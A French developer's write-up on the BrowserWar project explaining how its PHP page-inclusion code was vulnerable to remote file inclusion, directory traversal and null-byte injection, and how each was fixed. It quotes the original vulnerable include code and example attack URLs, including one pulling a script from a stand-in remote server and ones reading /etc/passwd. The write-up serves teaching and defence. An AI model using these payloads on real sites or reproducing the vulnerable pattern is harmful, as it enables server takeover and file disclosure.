BrowserWar-Dev

La guerre des navigateurs

Inclusions arbitraires


<< XSS Injections SQL >>


   Beaucoup de langages laissent la possibilité d'inclure du code extérieur au fichier. C'est le cas en PHP grâce à la famille des include et des require. J'ai tout d'abord utilisé cette primitive de la façon suivante :
    $url = $_GET['url'];

    if (empty($url))
      echo "\t\t\t".WELCOME;
    else
      include($url);


Inclusion à distance
   J'ai donc appris rapidement (avant la version 1) que tout ceci ne pouvait pas marcher de façon convenable : effectivement, l'utilisateur étant libre de rentrer ce qu'il veut dans le paramètre url de la barre d'adresse, il pouvait inclure ce qu'il voulait comme il le voulait. Ainsi, il pouvait notamment inclure du code côté serveur et effectuer les actions qu'il souhaite (installer une page backdoor sur le site par exemple).
Pour exploiter cette vulnérabilité, il suffisait de créer un script malveillant que l'on nommerait s.txt et que l'on placerait sur un serveur distance www.serveur.com. On l'exécuterait ensuite sur le site en demandant l'adresse http://siteBrowserWar/?url=http://www.serveur.com/s.txt et le tour était joué !
J'ai rapidement corrigé ceci en rajoutant la racine d'inclusion :
    include("./include/".$url);
Ainsi les fichiers ne pouvaient être inclus que depuis mon dossier include local.

Directory transversal
   Ceci n'était pas suffisant. Effectivement, il était possible de naviguer grâce aux liens symboliques . et .. . Ainsi, on pouvait inclure et donc découvrir n'importe quel fichier du serveur, par exemple en appellant http://siteBrowserWar/?url=../../../../etc/passwd qui serait remplacé par /var/www/BrowserWar/include/../../../etc/passwd (qui se traduit bien en /etc/passwd). Je me suis donc résolu à utiliser
    include("./include/".$url.".php");
Ainsi, tous les fichiers inclus sont forcément php et donc interprétés.

Null byte injection
   Il était encore possible d'inclure des fichiers locaux de façon arbiraires en utilisant le byte nul, synonyme de fin de chaîne de caractères. Avec l'url http://siteBrowserWar/?url=../../../../etc/passwd%00 par exemple, l'appel à la fonction include aurait été effectué avec la chaîne de caractères ./include/../../../../etc/passwd%00.php, ce qui serait finalement exécuté sans le .php ...

Pour éviter tout ceci, la version 2 assainit la variable $url en lui retirant les / (on ne peut plus changer de dossier) et en retirant les null bytes
    function happy_meal($meltingpot) {
      ...
      $forbidden_characters = array("/","\0");
      $meltingpot = str_replace($forbidden_characters, "", $meltingpot);
      ...
      return $meltingpot;
    }
D'autre part, on vérifie l'existence du fichier afin d'éviter le full path disclosure (sinon, dès qu'il y a échec d'inclusion, une erreur indique le chemin absolu et permet d'informer l'attaquant sur la disposition des fichiers sur le serveur et donc d'inclure facilement n'importe quel autre élément). Enfin, on a remplacé la fonction include() par require_once() afin d'éviter une page qui s'inclut à l'infini, provoquant des ralentissements de l'interpréteur et du serveur :
    $url = happy_meal($_GET['url']);

    if (empty($url))
      echo "\t\t\t".WELCOME;
    else if (file_exists("./include/".$url.".php"))
      require_once("./include/".$url.".php");
    else /* Something bad happened */
      include("./include/logout.php");


<< XSS Injections SQL >>


Hacking et sécurité informatique - BrowserWar - Releases